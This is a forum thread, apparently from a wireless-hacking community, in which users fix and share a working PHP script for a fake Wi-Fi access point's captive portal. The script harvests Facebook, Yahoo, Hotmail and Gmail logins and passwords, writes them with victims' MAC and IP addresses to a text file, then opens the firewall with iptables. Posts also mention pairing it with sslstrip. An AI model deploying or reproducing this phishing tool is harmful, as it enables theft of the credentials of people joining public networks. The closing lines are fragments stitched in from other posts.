Hey devi1, thanks indeed for the offer; was about to upload when I realised I've just fixed it@VulpiArgenti, can you upload what you have so far with the new captive portal method? I'm not the greatest with php but I can take a look at it.. The only problem was that "global $mac" was in the wrong place, so $mac was not being passed to iptables.
I'm actually going to leave the script as it is; the workaround with dnotify turns out to be useful (in setting iptables rules for sslstrip).
Here's the (not pretty but working) service.php
PHP Code:<?php
//Thanks to:
//http://www.andybev.com/index.php/Using_iptables_and_PHP_to_create_a_captive_portal
//http://simple-and-hot.blogspot.com.au/2010/05/you-can-do-it-yourself.html
//devi1
//error_reporting(E_ALL);
//ini_set ('display_errors', '1');
$name = $_POST['login'];
$password = $_POST['password'];
if($_POST['facebook']){
$service = "facebook";
}elseif($_POST['yahoo']){
$service = "yahoo";
}elseif($_POST['hotmail']){
$service = "hotmail";
}elseif($_POST['gmail']){
$service = "gmail";
}
sleep(1);
$error =
"<html>\n" .
"<head>\n" .
"<meta http-equiv=\"Refresh\" content=\"5;url=/\" />\n" .
"</head>\n" .
"<body>\n" .
"<center><p1><b>Login incorrect.</b></p1></center>\n" .
"<center><p1></p1></center>\n" .
"</body>\n" .
"</html>";
$success=
"<html>\n" .
"<head>\n" .
"</head>\n" .
"<body>\n" .
"<center><p1>Authorized</p1></center>\n" .
"<center><p1>Continue browsing</p1></center>\n" .
"</body>\n" .
"</html>";
$arp = "/usr/sbin/arp";
if(($password == "") || ($name == "")){
echo $error; // if credentials not entered
} else {
// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
$ip = $_SERVER["REMOTE_ADDR"];
$accinfo = "login: $name pass: $password service: $service\nMAC: $mac IP: $ip\n----------------\n";
// Write out the credentials
$fp = fopen("formdata.txt", "a");
fwrite($fp, $accinfo);
fclose($fp);
if (!isset($mac)) { echo $error;
} else {
global $mac;
iptables();
echo $success; }
}
function iptables() {
global $mac;
// Allow through the captive portal
exec("sudo /sbin/iptables -t nat -I PREROUTING -m mac --mac-source $mac -j ACCEPT");
}
?>


)
. The only problem was that "global $mac" was in the wrong place, so $mac was not being passed to iptables.
maybe something in the configuration of the server? i don't modify the default values you included in the script, i just add the channel of the fake ap. thank you again for your patience 

